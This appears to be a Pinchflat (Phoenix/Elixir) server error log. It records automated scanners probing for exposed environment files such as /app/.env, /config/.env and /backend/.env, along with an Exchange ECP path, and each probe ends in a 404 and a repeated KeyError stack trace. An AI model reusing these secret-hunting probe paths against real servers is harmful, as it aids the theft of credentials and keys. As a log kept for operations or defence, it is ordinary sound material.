method: "GET", owner: #PID<0.9550.0>, params: %{}, path_info: ["ecp", "Current", "exporttool", "microsoft.exchange.ediscovery.exporttool"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real- (truncated) 15:21:42.162 [info] GET /app/.env 15:21:42.162 [debug] QUERY OK source="settings" db=0.0ms idle=474.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.162 [debug] QUERY OK source="settings" db=0.0ms idle=237.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.162 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:42.163 [error] #PID<0.9552.0> running PinchflatWeb.Endpoint (connection #PID<0.9551.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /app/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9551.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34838}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9552.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAcKq2gId4UMAAbtC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9551.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34838}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9551.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34838}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9552.0>, params: %{}, path_info: ["app", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/app/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAcKq2gId4UMAAbtC"} ], scheme: :http, sc (truncated) 15:21:42.400 [info] GET /src/.env 15:21:42.400 [debug] QUERY OK source="settings" db=0.1ms idle=474.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.400 [debug] QUERY OK source="settings" db=0.0ms idle=273.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:42.401 [error] #PID<0.9554.0> running PinchflatWeb.Endpoint (connection #PID<0.9553.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /src/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9553.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34852}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9554.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAdDbg27u9k8AAbuC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9553.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34852}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9553.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34852}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9554.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAdDbg27u9k8AAbuC"} ], scheme: :http, sc (truncated) 15:21:42.635 [info] GET /config/.env 15:21:42.636 [debug] QUERY OK source="settings" db=0.1ms idle=473.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.636 [debug] QUERY OK source="settings" db=0.0ms idle=473.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.636 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:42.636 [error] #PID<0.9556.0> running PinchflatWeb.Endpoint (connection #PID<0.9555.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34864}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9556.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAd7hlGJM3eQAAbvC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34864}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9555.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34864}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9556.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAd7hlGJM3eQAAbvC"} ], (truncated) 15:21:42.879 [info] GET /backend/.env 15:21:42.879 [debug] QUERY OK source="settings" db=0.0ms idle=478.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.879 [debug] QUERY OK source="settings" db=0.0ms idle=478.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:42.879 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:42.879 [error] #PID<0.9558.0> running PinchflatWeb.Endpoint (connection #PID<0.9557.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9557.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34870}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9558.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAe1l8bH_ShYAAbwC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9557.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34870}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9557.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 34870}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 